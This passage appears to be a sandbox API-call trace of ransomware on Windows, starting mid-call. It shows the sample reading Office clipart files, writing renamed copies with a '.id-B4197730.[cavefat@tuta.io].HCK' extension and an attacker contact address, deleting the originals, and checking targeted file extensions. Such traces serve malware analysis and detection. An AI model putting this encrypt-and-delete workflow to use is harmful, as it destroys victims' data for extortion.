(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.541] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=6764) returned 1 [0230.541] CloseHandle (hObject=0x4d4) returned 1 [0230.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0230.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.542] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.542] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.542] GetLastError () returned 0x0 [0230.542] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0230.544] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1a70, lpOverlapped=0x0) returned 1 [0230.544] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.545] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.545] SetEndOfFile (hFile=0x54c) returned 1 [0230.545] CloseHandle (hObject=0x54c) returned 1 [0230.545] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.545] SetEndOfFile (hFile=0x4d4) returned 1 [0230.547] CloseHandle (hObject=0x4d4) returned 1 [0230.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".doc") returned 4 [0230.548] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString=".docx") returned 5 [0230.548] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0230.548] lstrlenW (lpString=".pdf") returned 4 [0230.548] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".xls") returned 4 [0230.548] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".xlsx") returned 5 [0230.548] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0230.548] lstrlenW (lpString=".ppt") returned 4 [0230.548] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".zip") returned 4 [0230.548] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".rar") returned 4 [0230.548] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".bz2") returned 4 [0230.548] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString=".7z") returned 3 [0230.548] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".dbf") returned 4 [0230.548] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".1cd") returned 4 [0230.548] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".jpg") returned 4 [0230.548] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".doc") returned 4 [0230.548] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.548] lstrlenW (lpString=".docx") returned 5 [0230.548] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0230.548] lstrlenW (lpString=".pdf") returned 4 [0230.548] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".xls") returned 4 [0230.548] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString=".xlsx") returned 5 [0230.548] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0230.548] lstrlenW (lpString=".ppt") returned 4 [0230.548] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.548] lstrlenW (lpString=".zip") returned 4 [0230.549] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.549] lstrlenW (lpString=".rar") returned 4 [0230.549] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.549] lstrlenW (lpString=".bz2") returned 4 [0230.549] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.549] lstrlenW (lpString=".7z") returned 3 [0230.549] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.549] lstrlenW (lpString=".dbf") returned 4 [0230.549] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.549] lstrlenW (lpString=".1cd") returned 4 [0230.549] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0230.549] lstrlenW (lpString=".jpg") returned 4 [0230.549] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.549] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.549] lstrlenW (lpString="PARNT_10.MID") returned 12 [0230.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.550] GetFileSizeEx (in: hFile=0x4d4, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5393) returned 1 [0230.550] CloseHandle (hObject=0x4d4) returned 1 [0230.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0230.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0230.551] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.551] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0230.551] GetLastError () returned 0x0 [0230.551] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x1511, lpOverlapped=0x0) returned 1 [0230.553] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1520, lpOverlapped=0x0) returned 1 [0230.554] ReadFile (in: hFile=0x4d4, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.554] WriteFile (in: hFile=0x54c, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0230.554] SetEndOfFile (hFile=0x54c) returned 1 [0230.554] CloseHandle (hObject=0x54c) returned 1 [0230.554] SetFilePointerEx (in: hFile=0x4d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.554] SetEndOfFile (hFile=0x4d4) returned 1 [0230.556] CloseHandle (hObject=0x4d4) returned 1 [0230.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0230.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.557] lstrlenW (lpString=".doc") returned 4 [0230.557] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.557] lstrlenW (lpString=".docx") returned 5 [0230.557] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0230.557] lstrlenW (lpString=".pdf") returned 4 [0230.557] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.557] lstrlenW (lpString=".xls") returned 4 [0230.557] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.557] lstrlenW (lpString=".xlsx") returned 5 [0230.557] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0230.557] lstrlenW (lpString=".ppt") returned 4 [0230.557] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.557] lstrlenW (lpString=".zip") returned 4 [0230.557] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".rar") returned 4 [0230.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".bz2") returned 4 [0230.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString=".7z") returned 3 [0230.558] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".dbf") returned 4 [0230.558] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".1cd") returned 4 [0230.558] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".jpg") returned 4 [0230.558] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".doc") returned 4 [0230.558] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString=".docx") returned 5 [0230.558] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0230.558] lstrlenW (lpString=".pdf") returned 4 [0230.558] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".xls") returned 4 [0230.558] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".xlsx") returned 5 [0230.558] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0230.558] lstrlenW (lpString=".ppt") returned 4 [0230.558] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".zip") returned 4 [0230.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".rar") returned 4 [0230.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.558] lstrlenW (lpString=".bz2") returned 4 [0230.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString=".7z") returned 3 [0230.558] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".dbf") returned 4 [0230.558] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".1cd") returned 4 [0230.558] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0230.558] lstrlenW (lpString=".jpg") returned 4 [0230.558] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.558] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.559] lstrlenW (lpString="ROAD_01.MID") returned 11 [0230.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.623] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5983) returned 1 [0230.623] CloseHandle (hObject=0x4ac) returned 1 [0230.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 0x220 [0230.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0230.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.625] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.625] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0230.626] GetLastError () returned 0x0 [0230.626] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x175f, lpOverlapped=0x0) returned 1 [0230.628] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1760, lpOverlapped=0x0) returned 1 [0230.628] ReadFile (in: hFile=0x4ac, lpBuffer=0x3bea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0230.629] WriteFile (in: hFile=0x548, lpBuffer=0x3bea020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3bea020*, lpNumberOfBytesWritten=0x2f9fc94*=0xea, lpOverlapped=0x0) returned 1 [0230.629] SetEndOfFile (hFile=0x548) returned 1 [0230.629] CloseHandle (hObject=0x548) returned 1 [0230.630] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0230.630] SetEndOfFile (hFile=0x4ac) returned 1 [0230.632] CloseHandle (hObject=0x4ac) returned 1 [0230.632] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0230.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\road_01.mid")) returned 1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString=".doc") returned 4 [0230.633] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.633] lstrlenW (lpString=".docx") returned 5 [0230.633] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.633] lstrlenW (lpString=".pdf") returned 4 [0230.633] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.633] lstrlenW (lpString=".xls") returned 4 [0230.633] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.633] lstrlenW (lpString=".xlsx") returned 5 [0230.633] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.633] lstrlenW (lpString=".ppt") returned 4 [0230.633] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString=".zip") returned 4 [0230.633] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.633] lstrlenW (lpString=".rar") returned 4 [0230.633] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.633] lstrlenW (lpString=".bz2") returned 4 [0230.633] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.633] lstrlenW (lpString=".7z") returned 3 [0230.633] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString=".dbf") returned 4 [0230.633] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString=".1cd") returned 4 [0230.633] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.633] lstrlenW (lpString=".jpg") returned 4 [0230.633] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString=".doc") returned 4 [0230.634] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0230.634] lstrlenW (lpString=".docx") returned 5 [0230.634] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0230.634] lstrlenW (lpString=".pdf") returned 4 [0230.634] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0230.634] lstrlenW (lpString=".xls") returned 4 [0230.634] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0230.634] lstrlenW (lpString=".xlsx") returned 5 [0230.634] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0230.634] lstrlenW (lpString=".ppt") returned 4 [0230.634] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString=".zip") returned 4 [0230.634] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0230.634] lstrlenW (lpString=".rar") returned 4 [0230.634] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0230.634] lstrlenW (lpString=".bz2") returned 4 [0230.634] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0230.634] lstrlenW (lpString=".7z") returned 3 [0230.634] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString=".dbf") returned 4 [0230.634] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString=".1cd") returned 4 [0230.634] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0230.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 67 [0230.634] lstrlenW (lpString=".jpg") returned 4 [0230.634] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0230.634] lstrcmpiW (lpString1=".MID", lpString2=".HCK") returned 1 [0230.634] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0230.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0230.636] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5058) returned 1 [0230.636] 